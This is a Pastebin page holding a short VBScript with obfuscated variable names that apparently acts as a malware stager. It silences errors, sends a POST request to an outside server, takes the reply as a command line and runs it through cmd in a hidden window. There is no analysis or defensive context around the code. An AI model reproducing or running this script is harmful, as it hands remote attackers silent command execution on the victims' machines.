Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- on error resume next
- nxafqe1 = "WinHttp.WinHttpRequest.5.1"
- nxafqe4 = "Shell.Application"
- nxafqe5 = "cmd"
- set nxafqe9 = CreateObject(nxafqe4)
- dim nxafqe11
- Set nxafqe11 = CreateObject(nxafqe1)
- nxafqe11.Open "POST", "http://po103.psw14.mad1.serverwall.co", false
- nxafqe11.Send
- nxafqe10 = nxafqe11.responseText
- nxafqe11 = Wscript.ScriptName
- nxafqe9.ShellExecute nxafqe5,nxafqe10 & nxafqe11,nxafqe8,"",0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement